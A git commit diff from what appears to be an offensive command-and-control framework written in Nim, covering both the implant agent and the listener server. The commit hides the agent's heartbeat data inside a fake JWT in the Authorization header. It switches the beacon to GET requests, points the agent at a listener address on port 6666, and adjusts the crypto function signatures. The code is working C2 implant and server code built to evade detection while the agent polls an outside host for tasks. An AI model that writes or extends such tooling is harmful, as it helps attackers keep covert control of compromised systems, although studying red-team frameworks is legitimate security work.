Updated C2 communication to hide heartbeat data in JWT token.
This commit is contained in:
@@ -1,4 +1,4 @@
|
|||||||
import httpclient, json, strformat, asyncdispatch
|
import httpclient, json, strformat, strutils, asyncdispatch, base64
|
||||||
|
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
@@ -35,16 +35,15 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
|
|||||||
var responseBody = ""
|
var responseBody = ""
|
||||||
|
|
||||||
# Define HTTP headers
|
# Define HTTP headers
|
||||||
|
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
|
||||||
|
let payload = encode(checkinData, safe = true).replace("=", "")
|
||||||
client.headers = newHttpHeaders({
|
client.headers = newHttpHeaders({
|
||||||
"Content-Type": "application/octet-stream",
|
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
||||||
"Content-Length": $checkinData.len
|
|
||||||
})
|
})
|
||||||
|
|
||||||
let body = checkinData.toString()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
|
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
|
||||||
return responseBody
|
return responseBody
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ proc main() =
|
|||||||
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
||||||
# This configuration file can be dynamically generated from the teamserver management interface
|
# This configuration file can be dynamically generated from the teamserver management interface
|
||||||
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
||||||
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay):
|
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
|
||||||
echo "Missing agent configuration."
|
echo "Missing agent configuration."
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
# Agent configuration
|
# Agent configuration
|
||||||
-d:ListenerUuid="D3AC0FF3"
|
-d:ListenerUuid="D0981BF3"
|
||||||
-d:Octet1="127"
|
-d:Octet1="172"
|
||||||
-d:Octet2="0"
|
-d:Octet2="29"
|
||||||
-d:Octet3="0"
|
-d:Octet3="177"
|
||||||
-d:Octet4="1"
|
-d:Octet4="43"
|
||||||
-d:ListenerPort=9999
|
-d:ListenerPort=6666
|
||||||
-d:SleepDelay=10
|
-d:SleepDelay=10
|
||||||
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ proc generateIV*(): Iv =
|
|||||||
raise newException(CatchableError, "Failed to generate IV.")
|
raise newException(CatchableError, "Failed to generate IV.")
|
||||||
return iv
|
return iv
|
||||||
|
|
||||||
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
|
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
|
||||||
|
|
||||||
# Encrypt data using AES-256 GCM
|
# Encrypt data using AES-256 GCM
|
||||||
var encData = newSeq[byte](data.len)
|
var encData = newSeq[byte](data.len)
|
||||||
@@ -29,7 +29,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[b
|
|||||||
|
|
||||||
return (encData, tag)
|
return (encData, tag)
|
||||||
|
|
||||||
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
|
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
|
||||||
|
|
||||||
# Decrypt data using AES-256 GCM
|
# Decrypt data using AES-256 GCM
|
||||||
var data = newSeq[byte](encData.len)
|
var data = newSeq[byte](encData.len)
|
||||||
@@ -44,7 +44,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
|
|||||||
|
|
||||||
return (data, tag)
|
return (data, tag)
|
||||||
|
|
||||||
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64, header: Header): seq[byte] =
|
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32, header: Header): seq[byte] =
|
||||||
|
|
||||||
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
|
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
|
||||||
|
|
||||||
@@ -59,7 +59,6 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
|
|||||||
Private keys and shared secrets are wiped from agent memory as soon as possible
|
Private keys and shared secrets are wiped from agent memory as soon as possible
|
||||||
]#
|
]#
|
||||||
{.compile: "monocypher/monocypher.c".}
|
{.compile: "monocypher/monocypher.c".}
|
||||||
{.passc: "-Imonocypher".}
|
|
||||||
|
|
||||||
# C function imports from (monocypher/monocypher.c)
|
# C function imports from (monocypher/monocypher.c)
|
||||||
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}
|
||||||
|
|||||||
@@ -31,20 +31,22 @@ proc register*(ctx: Context) {.async.} =
|
|||||||
resp "", Http404
|
resp "", Http404
|
||||||
|
|
||||||
#[
|
#[
|
||||||
POST /tasks
|
GET /tasks
|
||||||
Called from agent to check for new tasks
|
Called from agent to check for new tasks
|
||||||
]#
|
]#
|
||||||
proc getTasks*(ctx: Context) {.async.} =
|
proc getTasks*(ctx: Context) {.async.} =
|
||||||
|
|
||||||
# Check headers
|
# Check headers
|
||||||
# If POST data is not binary data, return 404 error code
|
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
|
||||||
if ctx.request.contentType != "application/octet-stream":
|
if not ctx.request.hasHeader("Authorization"):
|
||||||
resp "", Http404
|
resp "", Http404
|
||||||
return
|
return
|
||||||
|
|
||||||
|
let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var response: seq[byte]
|
var response: seq[byte]
|
||||||
let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes())
|
let tasks: seq[seq[byte]] = getTasks(checkinData)
|
||||||
|
|
||||||
if tasks.len <= 0:
|
if tasks.len <= 0:
|
||||||
resp "", Http200
|
resp "", Http200
|
||||||
|
|||||||
@@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
|
|
||||||
# Define API endpoints
|
# Define API endpoints
|
||||||
listener.post("register", routes.register)
|
listener.post("register", routes.register)
|
||||||
listener.post("tasks", routes.getTasks)
|
listener.get("tasks", routes.getTasks)
|
||||||
listener.post("results", routes.postResults)
|
listener.post("results", routes.postResults)
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
@@ -80,7 +80,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
|||||||
try:
|
try:
|
||||||
discard listener.runAsync()
|
discard listener.runAsync()
|
||||||
cq.add(listenerInstance)
|
cq.add(listenerInstance)
|
||||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.")
|
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.")
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
|
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
|
||||||
|
|
||||||
@@ -100,14 +100,14 @@ proc restartListeners*(cq: Conquest) =
|
|||||||
|
|
||||||
# Define API endpoints
|
# Define API endpoints
|
||||||
listener.post("register", routes.register)
|
listener.post("register", routes.register)
|
||||||
listener.post("tasks", routes.getTasks)
|
listener.get("tasks", routes.getTasks)
|
||||||
listener.post("results", routes.postResults)
|
listener.post("results", routes.postResults)
|
||||||
listener.registerErrorHandler(Http404, routes.error404)
|
listener.registerErrorHandler(Http404, routes.error404)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
discard listener.runAsync()
|
discard listener.runAsync()
|
||||||
cq.add(l)
|
cq.add(l)
|
||||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.")
|
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on {l.address}:{$l.port}.")
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user